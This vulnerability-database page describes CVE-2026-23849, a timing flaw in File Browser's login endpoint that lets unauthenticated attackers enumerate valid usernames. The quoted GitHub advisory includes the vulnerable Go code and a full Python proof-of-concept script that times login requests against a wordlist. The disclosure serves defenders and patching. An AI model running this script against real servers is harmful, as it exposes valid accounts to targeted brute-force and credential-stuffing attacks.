CVE-2026-23849

mediumpriority · track · 0EPSS 0.005 · 40 %ileEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.48% (40th) EPSS
CVSS 5.3 · medium
Is it mine?
5 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-22

File Browser provides a file managing interface within a specified directory and can be used to upload, delete, preview, rename, and edit files. Prior to version 2.55.0, the JSONAuth. Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint. The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow. This difference in execution path creates a measurable timing discrepancy. Version 2.55.0 contains a patch for the issue.

01

cvss

Technical severity, 0–10. One row per scoring source.

5.3
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.15.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:Nsecondary · ENISA EU
v3.15.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:Nsecondary · security-advisories@github.comexploitability 3.9 · impact 1.4
v3.15.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:Nsecondary · OSV
v3.14.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: none · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (5)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-43mm-m3h2-3prcFile Browser Vulnerable to Username Enumeration via Timing Attack in /api/login2026-01-21ghsa · osvUS

    ### Summary The JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint. ### Details The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow. This difference in execution path creates a measurable timing discrepancy: Invalid User: ~1ms execution (Database lookup only). Valid User: ~50ms+ execution (Database lookup + Bcrypt hashing). In auth/json.go: ```go // auth/json.go line 54 u, err := usr.Get(srv.Root, cred.Username) // VULNERABILITY: // If 'err != nil' (User not found), the OR condition short-circuits. // The second part (!users.CheckPwd) is NEVER executed. // // If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt). if err != nil || !users.CheckPwd(cred.Password, u.Password) { return nil, os.ErrPermission } ``` ### PoC The following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold. ```python import requests import time import random import string import statistics import argparse CALIBRATION_SAMPLES = 20 ENDPOINT = "/api/login" def generate_random_user(length=10): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def measure_response_time(url, username): start = time.perf_counter() try: requests.post(url, json={"username": username, "password": "dummy_pass_123!"}) except Exception as e: print(f"[!] Connection error: {e}") return 0 return time.perf_counter() - start def calibrate(url): print(f"\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...") times = [] print(" Progress: ", end="", flush=True) for _ in range(CALIBRATION_SAMPLES): random_user = generate_random_user() elapsed = measure_response_time(url, random_user) times.append(elapsed) print(".", end="", flush=True) print(" OK") mean = statistics.mean(times) try: stdev = statistics.stdev(times) except: stdev = 0.0 threshold = mean + (5 * stdev) + 0.005 print(f" - Mean time (invalid users): {mean:.4f}s") print(f" - Standard deviation: {stdev:.6f}s") print(f" - Threshold set: {threshold:.4f}s") return threshold def load_wordlist(wordlist_path): try: with open(wordlist_path, 'r', encoding='utf-8') as f: users = [line.strip() for line in f if line.strip()] return users except FileNotFoundError: print(f"[!] Wordlist not found: {wordlist_path}") exit(1) except Exception as e: print(f"[!] Error reading wordlist: {e}") exit(1) def timing_attack(url, threshold, users): print(f"\n[*] Testing {len(users)} users from wordlist...") print("-" * 50) print(f"{'Username':<15} | {'Time':<10} | {'Status'}") print("-" * 50) found = [] for user in users: elapsed = measure_response_time(url, user) if elapsed > threshold: status = ">> VALID <<" found.append(user) else: status = "invalid" print(f"{user:<15} | {elapsed:.4f}s | {status}") return found def main(): parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit') parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)') parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file') args = parser.parse_args() target_url = args.url.rstrip('/') + ENDPOINT print("=== FILEBROWSER TIMING ATTACK ===\n") print(f"[*] Target: {target_url}") print(f"[*] Wordlist: {args.wordlist}") try: threshold = calibrate(target_url) users = load_wordlist(args.wordlist) print(f"\n[*] Loaded {len(users)} users from wordlist") print("[*] Starting attack...") valid_users = timing_attack(target_url, threshold, users) print("\n" + "="*50) print(f"SUMMARY: {len(valid_users)} valid users found") if valid_users: for u in valid_users: print(f" -> {u}") print("="*50) except KeyboardInterrupt: print("\n[!] Attack cancelled") if __name__ == "__main__": main() ``` For example, in this case, I have guchihacker as the only valid user in the application. <img width="842" height="310" alt="image" src="https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3" /> I am going to use the exploit to list valid users. <img width="628" height="716" alt="image" src="https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa" /> As we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time. ### Impact An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names). I remain at your disposal for any questions you may have on this matter. Thank you very much. Sincerely, [Felix Sanchez (GUCHI)](https://guchihacker.github.io/)

  • GO-2026-4344File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login in github.com/filebrowser/filebrowser2026-02-03vendor · osvUS

    File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login in github.com/filebrowser/filebrowser

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-01-19modified 2026-06-17
09

references (8)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan